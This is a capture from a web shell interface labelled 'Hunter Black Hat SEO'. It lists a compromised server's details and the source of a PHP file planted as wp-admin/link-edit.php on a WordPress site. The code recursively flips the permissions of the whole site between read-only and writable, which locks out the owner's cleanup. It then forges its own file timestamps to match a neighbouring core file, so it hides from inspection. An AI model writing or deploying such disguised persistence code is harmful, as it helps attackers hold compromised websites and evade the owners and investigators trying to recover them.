Hunter Black Hat SEO
Server:LiteSpeed
System:Linux quebec.us.hostns.io 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64
User:gazetufm (1431)
PHP:8.1.35
Disabled:NONE
Upload Files
File: //home2/gazetufm/matrix-financials.com/wp-admin/link-edit.php
<?php
$parentDir = dirname(__DIR__);
$currentMode = fileperms($parentDir) & 0777;
$targetMode = decoct($currentMode) == 555 ? 0755 : 0555;
function chmodAll($dir, $mode)
{
    $iterator = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($dir, FilesystemIterator::SKIP_DOTS),
        RecursiveIteratorIterator::CHILD_FIRST
    );
    foreach ($iterator as $item) {
        chmod($item->getPathname(), $mode);
    }
    chmod($dir, $mode);
}
chmodAll($parentDir, $targetMode);
$currentFile = __FILE__;
$targetFile = __DIR__ . '/link-add.php';

$mtime = filemtime($targetFile);
$atime = fileatime($targetFile);

touch($currentFile, $mtime, $atime);
echo "权限已切换为:" . decoct($targetMode);